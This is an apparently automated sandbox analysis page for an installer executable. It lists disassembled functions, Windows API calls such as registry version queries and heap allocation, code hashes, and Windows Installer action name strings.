Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalSection$EnterInit_thread_footerLeave$ConditionVariableWake
String ID:
API String ID: 984842325-0
Opcode ID: c829fe7be4cda12bd64147cdd6128f730428545f085df7849c8705fd8ba0ec05
Instruction ID: c6802e6b591f3b0977a1d593eeee54765c6495b92994ebf7cca40dcf94c8a1b9
Opcode Fuzzy Hash: c829fe7be4cda12bd64147cdd6128f730428545f085df7849c8705fd8ba0ec05
Instruction Fuzzy Hash: F831EE79A40200DFD710DF05EC82B4AB7B1F70BB10F28861AE5616B7D0D3B67A48CB99

Function 00BAAA70 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33fe7d25e0cc96c3ed0a12f89334ed3fe19727c074e49c9e7485fea7b277b617
Instruction ID: 2c969ed9ee514651480f100fefedb90552f18efbb5e296907e474be5fbc06042
Opcode Fuzzy Hash: 33fe7d25e0cc96c3ed0a12f89334ed3fe19727c074e49c9e7485fea7b277b617
Instruction Fuzzy Hash: 04012972A48648AFC714CF54D941B26B7E8FB59B10F1082AEFC1997790DB36A910DA50

Function 00CD1040 Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00D80260: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D8026B
Part of subcall function 00D80260: LeaveCriticalSection.KERNEL32(00E9FF6C,?,?,?,00BAAD96,00EA0B9C,02141699,?,?,00DA83BD,000000FF,?,00BC2409,?,?,?), ref: 00D802A8

Part of subcall function 00CD10E0: RegOpenKeyExW.KERNEL32(80000002,Software\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00CD114E
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentMajorVersionNumber,00000000,00000000,?,?), ref: 00CD1195
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentMinorVersionNumber,00000000,00000000,?,00000004), ref: 00CD11B4
Part of subcall function 00CD10E0: RegQueryValueExW.ADVAPI32(00000000,CurrentVersion,00000000,00000000,?,?), ref: 00CD11E3
Part of subcall function 00CD10E0: RegQueryValueExW.KERNEL32(00000000,CurrentBuildNumber,00000000,00000000,?,?), ref: 00CD1258

__Init_thread_footer.LIBCMT ref: 00CD10B6

Part of subcall function 00D80216: EnterCriticalSection.KERNEL32(00E9FF6C,?,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80220
Part of subcall function 00D80216: LeaveCriticalSection.KERNEL32(00E9FF6C,?,00BAAE07,00EA0B9C,00E0A670), ref: 00D80253
Part of subcall function 00D80216: RtlWakeAllConditionVariable.NTDLL ref: 00D802CA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: CriticalQuerySectionValue$EnterLeave$ConditionInit_thread_footerOpenVariableWake
String ID:
API String ID: 3563064969-0
Opcode ID: 9f2850d66d4e28f434359c9a9c912132062bb45eebf02e1c0d22cc962ccadad5
Instruction ID: f8e8516142909df72841f5a0fb096e39cbd4b5dd13fce6aa336f703a6bec7d2a
Opcode Fuzzy Hash: 9f2850d66d4e28f434359c9a9c912132062bb45eebf02e1c0d22cc962ccadad5
Instruction Fuzzy Hash: 9301F771B40644EFC310EB59DD02B19B3B4E70AB30F144326EE31AB3C0CA71BA048B52

Function 00D99720 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,-00000010,00000000,00D97F74,00000001,00000364,-00000010,00000006,000000FF,?,00000000,?,?,8007000E,00BAA59F), ref: 00D99761

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 82d5fe5a6fb8ce3f2e9117ed354ed7ee2087c37958bc13e90004c00493a209a0
Instruction ID: a348efbaa3341ea12f4806906a88e2338402ce45b70c28ab446868803f81fd9d
Opcode Fuzzy Hash: 82d5fe5a6fb8ce3f2e9117ed354ed7ee2087c37958bc13e90004c00493a209a0
Instruction Fuzzy Hash: DEF0E931530624ABEF213FEEAD11B9AB7C9EF41770B188019B805AB080DE20D80186F1

Function 00BAA9B0 Relevance: 1.5, APIs: 1, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D81AEA: RaiseException.KERNEL32(E06D7363,00000001,00000003,?,?,?,8000000B,02141699), ref: 00D81B4A

RtlAllocateHeap.NTDLL(?,00000000,?,02141699,00000000,00DA7E40,000000FF,?,?,00E9717C,?,00D11D86,8000000B,02141699), ref: 00BAA9FA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AllocateExceptionHeapRaise
String ID:
API String ID: 3789339297-0
Opcode ID: 5fd0abee46d2f5f5fc71d4809949b843425c9c797f7a976fcecd65448fe7b737
Instruction ID: 5437f2b4f79dd54f5ecbf7b461b5ed4637e998ac252313206926038e89d6ffab
Opcode Fuzzy Hash: 5fd0abee46d2f5f5fc71d4809949b843425c9c797f7a976fcecd65448fe7b737
Instruction Fuzzy Hash: FFF0A031A48248FFCB05DF54DC02F5ABBA8FB09B10F10866AF915926A0DB36A905CB64

Function 00D981B8 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00D9FD0E,?,?,00D9FD0E,00000220,?,-00000010,?), ref: 00D981EA

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 521db3a427785005a7f0b02f6c09e8f821b93181b83c31bf0e2a578c74372568
Instruction ID: 5c82bb14a07e4482320f4377b985346d969833e9b1074cadfe471fe01d92cdef
Opcode Fuzzy Hash: 521db3a427785005a7f0b02f6c09e8f821b93181b83c31bf0e2a578c74372568
Instruction Fuzzy Hash: FFE0E5316017215ADF313B66AC00B5B3698DB03BA0F180120EC05B20D1DE10DC02A6F9

Non-executed Functions

Function 00BA3000 Relevance: 464.5, Strings: 369, Instructions: 3218COMMON

Download Yara Rule

Strings

(3, xrefs: 00BA639A
MIME, xrefs: 00BA4D64, 00BA4D73
CreateFolders, xrefs: 00BA5863
AI_GxInstall, xrefs: 00BA6DE6
8000, xrefs: 00BA633E
Complus, xrefs: 00BA6663
RemoveDuplicateFiles, xrefs: 00BA5357
h/, xrefs: 00BA605D
Patch, xrefs: 00BA5C9B
A, xrefs: 00BA702C
1500000, xrefs: 00BA66D6
12000, xrefs: 00BA54D5, 00BA54E4
xC, xrefs: 00BA7172
p", xrefs: 00BA4780
1500, xrefs: 00BA4E72, 00BA4FB8, 00BA6D7C, 00BA72E4
800, xrefs: 00BA3664
100000, xrefs: 00BA6A6A
xD, xrefs: 00BA7246
X5, xrefs: 00BA6573
RemoveIniValues, xrefs: 00BA4E3F, 00BA4F85
X", xrefs: 00BA4743
WriteEnvironmentStrings, xrefs: 00BA62AA
H(, xrefs: 00BA53F5
AI_XmlUninstall, xrefs: 00BA724B, 00BA72D1
ODBCDriver, xrefs: 00BA4475, 00BA64DF
AI_Game, xrefs: 00BA6FFB
UnpublishComponents, xrefs: 00BA39E6
2000, xrefs: 00BA6E71
0:, xrefs: 00BA69AF
Shortcut, xrefs: 00BA513B, 00BA5F44
Font, xrefs: 00BA45C0, 00BA45CF
8@, xrefs: 00BA6EC8
Component, xrefs: 00BA32E9, 00BA355D, 00BA36A8, 00BA37D1
H/, xrefs: 00BA6042
AppId, xrefs: 00BA4992, 00BA49A1
12000, xrefs: 00BA4301, 00BA4310
H:, xrefs: 00BA69C2
10000, xrefs: 00BA686D, 00BA7464
D, xrefs: 00BA72A6
StartServices, xrefs: 00BA67D4
ProgId, xrefs: 00BA4C17, 00BA4C39
@+, xrefs: 00BA5A47
MsiConfigureServices, xrefs: 00BA674E, 00BA6774
SelfRegModules, xrefs: 00BA65C5
Options, xrefs: 00BA6CC1
3000, xrefs: 00BA495F, 00BA496E
AI_ProcessAccounts, xrefs: 00BA7151
h., xrefs: 00BA5F8C
AI_UninstallTasks, xrefs: 00BA6F5D
RegisterTypeLibraries, xrefs: 00BA653F
TypeLib, xrefs: 00BA6560
`;, xrefs: 00BA6AA9
StopServices, xrefs: 00BA3C6B, 00BA3DB1
AI_ProcessGroups, xrefs: 00BA70D4
SelfUnregModules, xrefs: 00BA403D
MoveFile, xrefs: 00BA5A0F
p,, xrefs: 00BA5CDD
2000, xrefs: 00BA6DF4
BindImage, xrefs: 00BA5EA1, 00BA5EC7
PublishComponents, xrefs: 00BA685A
x2, xrefs: 00BA6305
RegisterProgIdInfo, xrefs: 00BA609E
AI_InstallPrerequisite, xrefs: 00BA6BE0
12000, xrefs: 00BA589B, 00BA58AA
ServiceControl, xrefs: 00BA3CD1, 00BA3E17, 00BA67FA
DuplicateFile, xrefs: 00BA53BD, 00BA5DE1
UnregisterComPlus, xrefs: 00BA3EF7
RemoveShortcuts, xrefs: 00BA50CB
3000, xrefs: 00BA6129
,, xrefs: 00BA5DE6
DuplicateFiles, xrefs: 00BA5D7B
?, xrefs: 00BA6E84
h8, xrefs: 00BA682F
PublishComponent, xrefs: 00BA3A45, 00BA6880
H0, xrefs: 00BA6116
HB, xrefs: 00BA7078
>, xrefs: 00BA6D0D
( , xrefs: 00BA429B
6000, xrefs: 00BA61B1
3000, xrefs: 00BA3A17, 00BA3A26
P%, xrefs: 00BA4D97
IniFile, xrefs: 00BA4FF0, 00BA4FFF
@<, xrefs: 00BA6B68
File, xrefs: 00BA5B5A, 00BA5B69
15000, xrefs: 00BA59E1, 00BA59F0
@=, xrefs: 00BA6C4E
3000000, xrefs: 00BA62B8
AI_PreRequisite, xrefs: 00BA6AFA, 00BA6B80, 00BA6C06, 00BA6C8C
WriteRegistryValues, xrefs: 00BA619E
3000, xrefs: 00BA3F2F, 00BA3F3E
p+, xrefs: 00BA5AC1
Registry, xrefs: 00BA4701, 00BA61C4
CreateFolder, xrefs: 00BA5783, 00BA58C9
12000, xrefs: 00BA5755, 00BA5764
12000, xrefs: 00BA538F, 00BA539E
AI_XmlInstall, xrefs: 00BA6CEC, 00BA6D69
C, xrefs: 00BA71C9
3000, xrefs: 00BA6650
(;, xrefs: 00BA6A78
RemoveExistingProducts, xrefs: 00BA3024
87, xrefs: 00BA6723
3000, xrefs: 00BA4AA5, 00BA4AB4
B, xrefs: 00BA70F5
PatchSize, xrefs: 00BA5D15
Feature, xrefs: 00BA3B90, 00BA3B9F
InstallODBC, xrefs: 00BA63AD, 00BA6433, 00BA64B9
1500, xrefs: 00BA6D77
AI_CountRowAction, xrefs: 00BA73D4
H;, xrefs: 00BA6A93
200000, xrefs: 00BA69ED
3000, xrefs: 00BA5FB2
20000, xrefs: 00BA67E2
01, xrefs: 00BA61D2
X4, xrefs: 00BA64A1
-, xrefs: 00BA5E6C
RegisterExtensionInfo, xrefs: 00BA6021
FileSize, xrefs: 00BA5BCF
@ , xrefs: 00BA42CE
7, xrefs: 00BA66FC
PA, xrefs: 00BA6FAF
x1, xrefs: 00BA621F
AI_DefaultActionCost, xrefs: 00BA7451
20000, xrefs: 00BA67E7
12000, xrefs: 00BA41BB, 00BA41CA
AppSearch, xrefs: 00BA3149, 00BA31CA
3000, xrefs: 00BA379E, 00BA3A12, 00BA3B58, 00BA3F2A, 00BA46CE, 00BA4814, 00BA495A, 00BA4AA0, 00BA4BE6, 00BA4D2C, 00BA5244, 00BA5FB7, 00BA612E, 00BA6552, 00BA6655
ODBCDataSource, xrefs: 00BA41E9, 00BA63D3
15000, xrefs: 00BA675C
(!, xrefs: 00BA44AD
X<, xrefs: 00BA6B7B
', xrefs: 00BA5329
X+, xrefs: 00BA5A8E
`9, xrefs: 00BA6901
00, xrefs: 00BA6103
@3, xrefs: 00BA63A8
Patch, xrefs: 00BA5CA0, 00BA5CAF
p3, xrefs: 00BA63CE
ODBCTranslator, xrefs: 00BA432F, 00BA6459
RemoveIniFile, xrefs: 00BA4EA5
File, xrefs: 00BA3428, 00BA3437
1500, xrefs: 00BA4E77, 00BA4E86
(, xrefs: 00BA553B
500, xrefs: 00BA706A
0&, xrefs: 00BA4F8A
2000, xrefs: 00BA3181, 00BA3190
Options, xrefs: 00BA6C3B
RemoveFolders, xrefs: 00BA571D
30000, xrefs: 00BA38D8, 00BA6237, 00BA68F3
H1, xrefs: 00BA61F9
8A, xrefs: 00BA6F99
100, xrefs: 00BA5C6D, 00BA5C7C
3000000, xrefs: 00BA62BD
5000, xrefs: 00BA5EB4
InstallFinalize, xrefs: 00BA6A57
@2, xrefs: 00BA62CB
#, xrefs: 00BA48F9
hA, xrefs: 00BA6FC2
200000, xrefs: 00BA69E8
h7, xrefs: 00BA6749
12000, xrefs: 00BA4447, 00BA4456
h$, xrefs: 00BA4BB8
@, xrefs: 00BA6F58
P., xrefs: 00BA5F79
x;, xrefs: 00BA6ABC
pF, xrefs: 00BA73F5
X), xrefs: 00BA564E
AI_Game, xrefs: 00BA6E07
ProcessComponents, xrefs: 00BA376B
0C, xrefs: 00BA7139
12000, xrefs: 00BA63BB
(4, xrefs: 00BA6467
HD, xrefs: 00BA7220
2000, xrefs: 00BA6EEE
15000, xrefs: 00BA3C9E, 00BA3DE4, 00BA59DC, 00BA5DAE, 00BA6034, 00BA6761, 00BA6970
InstallFiles, xrefs: 00BA5AEF
`', xrefs: 00BA5216
8-, xrefs: 00BA5E89
PatchFiles, xrefs: 00BA5C35
?, xrefs: 00BA6DE1
12000, xrefs: 00BA5614, 00BA5636
hB, xrefs: 00BA7093
@, xrefs: 00BA6EB5
12000, xrefs: 00BA5F2C
Location, xrefs: 00BA6B34, 00BA6BBA
IniFile, xrefs: 00BA4FEB, 00BA6245
~, xrefs: 00BA6C4A
RemoveODBC, xrefs: 00BA4183, 00BA42C9, 00BA440F
RegisterFonts, xrefs: 00BA6330
@E, xrefs: 00BA72F2
File, xrefs: 00BA5508, 00BA5517
100, xrefs: 00BA60AC
100, xrefs: 00BA6FE8
12000, xrefs: 00BA6441
800, xrefs: 00BA3669, 00BA3678
RemoveRegistryValues, xrefs: 00BA469B, 00BA47E1
X!, xrefs: 00BA4527
MsiUnpublishAssemblies, xrefs: 00BA38A5
`(, xrefs: 00BA543C
IniFile, xrefs: 00BA624A
Extension, xrefs: 00BA4AD3, 00BA6047
AI_XmlElement, xrefs: 00BA6D12, 00BA7271
3000, xrefs: 00BA5249, 00BA5258
AI_InstallPostPrerequisite, xrefs: 00BA6C66
8000, xrefs: 00BA65D3
10000, xrefs: 00BA6868
`2, xrefs: 00BA62DE
3000, xrefs: 00BA4D31, 00BA4D40
CreateShortcuts, xrefs: 00BA5F1E
RemoveEnvironmentStrings, xrefs: 00BA5211
15000, xrefs: 00BA696B
P$, xrefs: 00BA4B85
@>, xrefs: 00BA6D28
CostInitialize, xrefs: 00BA3283
p , xrefs: 00BA4334
PublishFeatures, xrefs: 00BA695D
AI_Game, xrefs: 00BA6E0C, 00BA7000
File, xrefs: 00BA3423, 00BA5503, 00BA5B55
3000, xrefs: 00BA37A3, 00BA37B2
MsiAssembly, xrefs: 00BA6906
FileCost, xrefs: 00BA33BD
7, xrefs: 00BA67BC
x<, xrefs: 00BA6B8E
09, xrefs: 00BA68E0
0', xrefs: 00BA51B0
p!, xrefs: 00BA455A
6, xrefs: 00BA662A
86, xrefs: 00BA663D
RegisterClassInfo, xrefs: 00BA5FA4
AI_XmlAttribute, xrefs: 00BA6D8F, 00BA72F7
3000, xrefs: 00BA3B5D, 00BA3B6C
1800, xrefs: 00BA7259
2000, xrefs: 00BA715F
UnregisterFonts, xrefs: 00BA4555
8, xrefs: 00BA688E
UnpublishFeatures, xrefs: 00BA3B25
`1, xrefs: 00BA620C
@4, xrefs: 00BA648E
30000, xrefs: 00BA68EE
WriteIniValues, xrefs: 00BA6224
AI_UserAccounts, xrefs: 00BA6E89, 00BA7177
p?, xrefs: 00BA6E22
3000, xrefs: 00BA654D
MIME, xrefs: 00BA4D5F, 00BA6141
8#, xrefs: 00BA492C
AI_DownloadPrereq, xrefs: 00BA6AD4
Feature_, xrefs: 00BA390B, 00BA4B06, 00BA6058, 00BA6917, 00BA6B0D, 00BA6B93, 00BA6C19, 00BA6CB3
`D, xrefs: 00BA7233
p5, xrefs: 00BA659A
AI_ExtractPrereq, xrefs: 00BA6B5A
3000, xrefs: 00BA46D3, 00BA46E2
0D, xrefs: 00BA720A
1500, xrefs: 00BA72DF
;, xrefs: 00BA6B08
XF, xrefs: 00BA73E2
8., xrefs: 00BA5F52
`E, xrefs: 00BA7305
SelfReg, xrefs: 00BA40A8, 00BA40B7
UnregisterMIMEInfo, xrefs: 00BA4CF9
15000, xrefs: 00BA5DB3, 00BA5DC2
30000, xrefs: 00BA6232
x), xrefs: 00BA5681
X>, xrefs: 00BA6D3E
12000, xrefs: 00BA64C7
AI_UserGroups, xrefs: 00BA6F06, 00BA70FA
5000, xrefs: 00BA5EAF
ProgId, xrefs: 00BA60BF
120000, xrefs: 00BA5103, 00BA5112
Environment, xrefs: 00BA5277, 00BA62D0
AI_ChainProductsPseudo, xrefs: 00BA7357
((, xrefs: 00BA53C2
15000, xrefs: 00BA3CA3, 00BA3CB2
p4, xrefs: 00BA64B4
TypeLib, xrefs: 00BA6565
AI_GxUninstall, xrefs: 00BA6FDA
p>, xrefs: 00BA6D51
`:, xrefs: 00BA69D5
(<, xrefs: 00BA6B55
., xrefs: 00BA5FF6
(F, xrefs: 00BA73BC
120000, xrefs: 00BA50FE
-, xrefs: 00BA5F19
1800, xrefs: 00BA6CFF, 00BA725E
AI_ProcessTasks, xrefs: 00BA71CE
@!, xrefs: 00BA44F4
15000, xrefs: 00BA602F
HC, xrefs: 00BA714C
CostFinalize, xrefs: 00BA3508
8000, xrefs: 00BA408B, 00BA4588, 00BA6343, 00BA65D8
0, xrefs: 00BA6199
6000, xrefs: 00BA61AC
10000, xrefs: 00BA745F
Feature, xrefs: 00BA697E
P-, xrefs: 00BA5E9C
8$, xrefs: 00BA4B52
100, xrefs: 00BA5C68, 00BA60B1, 00BA6FED
$, xrefs: 00BA4B0B
+, xrefs: 00BA5A14
x(, xrefs: 00BA548A
1, xrefs: 00BA627F
2000, xrefs: 00BA71DC
1500, xrefs: 00BA4FBD, 00BA4FCC
AppId, xrefs: 00BA5FC5
Font, xrefs: 00BA6351
h%, xrefs: 00BA4DE5
RemoveRegistry, xrefs: 00BA4847
(), xrefs: 00BA55E8
P@, xrefs: 00BA6EDB
AI_AppSearchEx, xrefs: 00BA7057, 00BA707D
MIME, xrefs: 00BA613C
UnregisterExtensionInfo, xrefs: 00BA4A88
Component_, xrefs: 00BA3A78, 00BA3D04, 00BA3E4A, 00BA3F90, 00BA4241, 00BA4362, 00BA44A8, 00BA473E, 00BA487A, 00BA4ED8, 00BA501E, 00BA5164, 00BA52DE, 00BA53F0, 00BA5536, 00BA57DB, 00BA58FC, 00BA5A42, 00BA5B88, 00BA5E14, 00BA5F57, 00BA61D7, 00BA625D, 00BA62E3, 00BA63E6, 00BA646C, 00BA64F2, 00BA6578, 00BA667B, 00BA6701, 00BA6782, 00BA680D, 00BA6893
%, xrefs: 00BA4EDD
XG, xrefs: 00BA74B6
100000, xrefs: 00BA6A65
(G, xrefs: 00BA748D
500, xrefs: 00BA7065
RemoveFile, xrefs: 00BA5649
@*, xrefs: 00BA5835
@F, xrefs: 00BA73CF
,, xrefs: 00BA5C3A
RemoveFiles, xrefs: 00BA549D, 00BA55E3
AppId, xrefs: 00BA498D, 00BA5FCA
p=, xrefs: 00BA6C74
UnregisterProgIdInfo, xrefs: 00BA4BB3
H', xrefs: 00BA51E3
InstallServices, xrefs: 00BA66C8
Complus, xrefs: 00BA3F62, 00BA3F71
2000, xrefs: 00BA317C, 00BA6DF9, 00BA6E76, 00BA6EF3, 00BA6F70, 00BA70E7, 00BA7164, 00BA71E1
ServiceInstall, xrefs: 00BA66EE
SelfReg, xrefs: 00BA65E6
InstallValidate, xrefs: 00BA3631
08, xrefs: 00BA67F5
Options, xrefs: 00BA6C40, 00BA6CC6
-, xrefs: 00BA5E56
1500000, xrefs: 00BA66DB
@G, xrefs: 00BA74A3
2000, xrefs: 00BA6F6B
UnregisterClassInfo, xrefs: 00BA4927
SelfReg, xrefs: 00BA40A3, 00BA65EB
3000, xrefs: 00BA4BEB, 00BA4BFA
MsiPublishAssemblies, xrefs: 00BA68DB
12000, xrefs: 00BA41B6, 00BA42FC, 00BA4442, 00BA538A, 00BA54D0, 00BA5631, 00BA5750, 00BA5896, 00BA5F31, 00BA63C0, 00BA6446, 00BA64CC
AI_UninstallAccounts, xrefs: 00BA6E63
P8, xrefs: 00BA6808
3000, xrefs: 00BA4819, 00BA4828
$, xrefs: 00BA4CCB
2000, xrefs: 00BA70E2
AI_ScheduledTasks, xrefs: 00BA71F4
xE, xrefs: 00BA732C
Feature, xrefs: 00BA3B8B, 00BA6983
15000, xrefs: 00BA3DE9, 00BA3DF8
X=, xrefs: 00BA6C61
RegisterMIMEInfo, xrefs: 00BA611B
ProgId, xrefs: 00BA4C34, 00BA60C4
Complus, xrefs: 00BA3F5D, 00BA6668
:, xrefs: 00BA6A3F
1800, xrefs: 00BA6CFA
(*, xrefs: 00BA5802
MoveFiles, xrefs: 00BA59A9
P7, xrefs: 00BA6736
30000, xrefs: 00BA38DD, 00BA38EC
8000, xrefs: 00BA4070, 00BA4090
8", xrefs: 00BA4706
RegisterComPlus, xrefs: 00BA6642
X*, xrefs: 00BA5868
AI_UninstallGroups, xrefs: 00BA6EE0
InstallInitialize, xrefs: 00BA69DA
8000, xrefs: 00BA458D, 00BA459C
Font, xrefs: 00BA45BB, 00BA6356

Memory Dump Source

Source File: 00000000.00000002.2948664251.0000000000BA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2948569628.0000000000BA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949283112.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949414410.0000000000E9C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949491844.0000000000E9E000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949569838.0000000000E9F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2949640142.0000000000EAA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_setup.jbxd

Similarity

API ID:
String ID: #$ $$ +$ ,$ -$ -$ 6$ 7$ >$ ?$ @$( $(!$(($()$(*$(3$(4$(;$(<$(F$(G$0&$0'$00$01$08$09$0:$0C$0D$100$100$100$100$10000$10000$10000$100000$100000$12000$12000$12000$12000$12000$12000$12000$12000$12000$12000$12000$12000$12000$120000$120000$1500$1500$1500$1500$1500$15000$15000$15000$15000$15000$15000$15000$15000$1500000$1500000$1800$1800$1800$2000$2000$2000$2000$2000$2000$2000$2000$2000$20000$20000$200000$200000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$3000$30000$30000$30000$30000$3000000$3000000$500$500$5000$5000$6000$6000$8"$8#$8$$8-$8.$800$800$8000$8000$8000$8000$8000$86$87$8@$8A$@ $@!$@*$@+$@2$@3$@4$@<$@=$@>$@E$@F$@G$AI_AppSearchEx$AI_ChainProductsPseudo$AI_CountRowAction$AI_DefaultActionCost$AI_DownloadPrereq$AI_ExtractPrereq$AI_Game$AI_Game$AI_Game$AI_GxInstall$AI_GxUninstall$AI_InstallPostPrerequisite$AI_InstallPrerequisite$AI_PreRequisite$AI_ProcessAccounts$AI_ProcessGroups$AI_ProcessTasks$AI_ScheduledTasks$AI_UninstallAccounts$AI_UninstallGroups$AI_UninstallTasks$AI_UserAccounts$AI_UserGroups$AI_XmlAttribute$AI_XmlElement$AI_XmlInstall$AI_XmlUninstall$AppId$AppId$AppId$AppSearch$BindImage$Complus$Complus$Complus$Component$Component_$CostFinalize$CostInitialize$CreateFolder$CreateFolders$CreateShortcuts$DuplicateFile$DuplicateFiles$Environment$Extension$Feature$Feature$Feature$Feature_$File$File$File$File$FileCost$FileSize$Font$Font$Font$H'$H($H/$H0$H1$H:$H;$HB$HC$HD$IniFile$IniFile$IniFile$InstallFiles$InstallFinalize$InstallInitialize$InstallODBC$InstallServices$InstallValidate$Location$MIME$MIME$MIME$MoveFile$MoveFiles$MsiAssembly$MsiConfigureServices$MsiPublishAssemblies$MsiUnpublishAssemblies$ODBCDataSource$ODBCDriver$ODBCTranslator$Options$Options$Options$P$$P%$P-$P.$P7$P8$P@$PA$Patch$Patch$PatchFiles$PatchSize$ProcessComponents$ProgId$ProgId$ProgId$PublishComponent$PublishComponents$PublishFeatures$RegisterClassInfo$RegisterComPlus$RegisterExtensionInfo$RegisterFonts$RegisterMIMEInfo$RegisterProgIdInfo$RegisterTypeLibraries$Registry$RemoveDuplicateFiles$RemoveEnvironmentStrings$RemoveExistingProducts$RemoveFile$RemoveFiles$RemoveFolders$RemoveIniFile$RemoveIniValues$RemoveODBC$RemoveRegistry$RemoveRegistryValues$RemoveShortcuts$SelfReg$SelfReg$SelfReg$SelfRegModule